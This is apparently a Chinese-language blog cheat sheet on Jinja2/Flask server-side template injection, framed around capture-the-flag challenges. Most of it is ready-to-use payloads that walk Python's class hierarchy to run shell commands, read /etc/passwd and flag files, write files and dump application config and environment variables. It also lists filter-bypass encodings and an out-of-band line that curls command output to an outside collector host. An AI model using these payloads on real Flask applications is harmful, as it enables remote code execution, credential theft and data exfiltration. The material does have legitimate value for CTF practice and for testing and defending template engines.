Jinja2模板注入

Jinja2模板注入模板引擎种类

__class__ : 返回对象所属的类
__mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ : 返回该类所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__(): 获取类的所有子类
__init__ : 所有自带的类都包含init方法,常用它当跳板来调用globals
__globals__ : 返回当前位置的全部模块,方法和全局变量,用于配合init使用

Jinja2模板注入环节(Flask):

Jinja {{7*'7'}} #输出7777777

1. 使用str,list,tuple,dict中的一种去获取内置类

"".__class__

2. 获取object基类(两种办法)

一:使用__base__获取
"".__class__.__base__
二:使用__bases__获取
"".__bases__[0]
三:使用__mro__获取
"".__class__.__mro__这样先查看获取到的数据,确定object类在list中的第几个
"".__class__.__mro__[1]

3. 获取子类列表:

"".__class__.__base__.__subclasses__()
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()

4. 寻找getshell类:subprocess.Popen、site._Printer、_sitebuiltins._Printer、os.system方法

5. 找到可以getshell的类了,那么接下来就是初始化这个类,开始getshell

{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__.__import__('os').popen('whoami').read()}}
num的具体数值根据shell类在subclasses中index确定(注意index是从0开启计数)

0<class '_sitebuiltins._Printer'> 执行命令
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

1<type 'file'> 读写文件,file类位置一般为40,直接调用
{{"".__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[40]('/var/www/html/input.txt', 'w').write('hello123')}}

2<class 'site._Printer'> 直接用os的popen执行命令(绕过globals)
{{"".__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
如果system被过滤,用os的listdir读取目录+file模块读取文件:
{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

3<class 'subprocess.Popen'> 执行命令
{{''.__class__.__mro__[1].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

4<class 'warnings.catch_warnings'> 执行命令
调用eval
{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{''.__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__['__import__']('os').__dict__['popen']('ls').read()}}

# 读写文件 read(),write()
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__'].['file']('/etc/passwd').read()}}

调用system方法。(不包含system,可以绕过过滤system的情况)
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}}
利用commands进行命令执行
{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

通用办法,使用for循环查找shell类 (去掉换行)

?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

常见payload

1. 获取配置

{{config}}
{{handler.settings}}
{{self.__dict__._TemplateReference__context.config}}
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ}}
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}

2. 命令执行or文件读取

python2

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')

python3

''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']

常见绕过:

过滤关键字如“class”、“config”、“eval”、"os"等

1.没过滤引号,使用其他进制,可以使用[]加一下字符反转其他进制绕过

1.1 其他进制

   ''.__class__ => ''["\137\137\143\154\141\163\163\137\137"](8进制)
   ''.__class__ => ''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"](16进制)
    {{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[80]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29")['\x72\x65\x61\x64']()}}

1.2 字符反转

   ''.__class__ => ''["__ssalc__"[::-1]]

1.3 字符串拼接

   ''.__class__ => ''["__cla""ss__"]
   {{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__buil'+'tins__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}

1.4 base64 rot13 hex

   ''.__class__ => ''['X19jbGFzc19f'.decode('base64')]

1.5 lower

   ''.__class__ => ''["__CLASS__"|lower]

1.6 join

   ''.__class__ => ''[["__clas","s__"]|join]  or ''[("__clas","s__")|join]

1.7 format

   ''.__class__ => ''["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]

1.8 replace reverse

   ''.__class__ => ''|attr("__ssalc__"|reverse)

2.过滤了引号,通过request将所需的变量从请求中其他参数获得

2.1 主要利用一下几种

    request.args.x1       get传参
    request.values.x1     post传参
    request.cookies
    request.form.x1       post传参    (Content-Type:applicaation/x-www-form-urlencoded或   multipart/form-data)
    request.data          post传参    (Content-Type:a/b)
    request.json        post传json  (Content-Type: application/json)

2.2 利用request和attr构造payload

//get {{request|attr((request.args.application)|join)|attr((request.args.usc*2,request.args.globals,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.getitem,request.args.usc*2)|join)((request.args.usc*2,request.args.builtins,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.getitem,request.args.usc*2)|join)((request.args.usc*2,request.args.import,request.args.usc*2)|join)((request.args.os)|join)|attr((request.args.popen)|join)((request.args.id)|join)|attr((request.args.read)|join)()}}&usc=_&application=application&globals=globals&getitem=getitem&builtins=builtins&import=import&os=os&popen=popen&id=cat%20flag.txt&read=read
//post

{{request|attr((request.values.application)|join)|attr((request.values.usc*2,request.values.globals,request.values.usc*2)|join)|attr((request.values.usc*2,request.values.getitem,request.values.usc*2)|join)((request.values.usc*2,request.values.builtins,request.values.usc*2)|join)|attr((request.values.usc*2,request.values.getitem,request.values.usc*2)|join)((request.values.usc*2,request.values.import,request.values.usc*2)|join)((request.values.os)|join)|attr((request.values.popen)|join)((request.values.id)|join)|attr((request.values.read)|join)()}}

post: usc=_&application=application&globals=globals&getitem=getitem&builtins=builtins&import=import&os=os&popen=popen&id=cat%20flag.txt&read=read
//其他的也类似

过滤[]

1. getitem

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.func_globals.values().__getitem__(13).__getitem__('eval')('__import__("os").popen("cat /flag").read()')}}

2. pop

{{().__class__.__bases__.pop(0).__subclasses__().pop(59).__init__.func_globals.values().pop(13).pop('eval')('__import__("os").popen("cat /flag").read()')}}

3. get

4. setdefault

过滤点 .

1. []

''.__class__ => ''["__class__"]

2. attr

 ''.__class__ => ''|attr('__class__') or getattr('',"__class__")

过滤_

利用request.args属性

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args改为request.values则利用post的方式进行传参

过滤{{}}

•使用{%%}外带数据或盲注
//外带
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}1{% endif %}
//盲注
{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %}
//打印
{%print config%}

你可能感兴趣的:(python,flask,网络安全)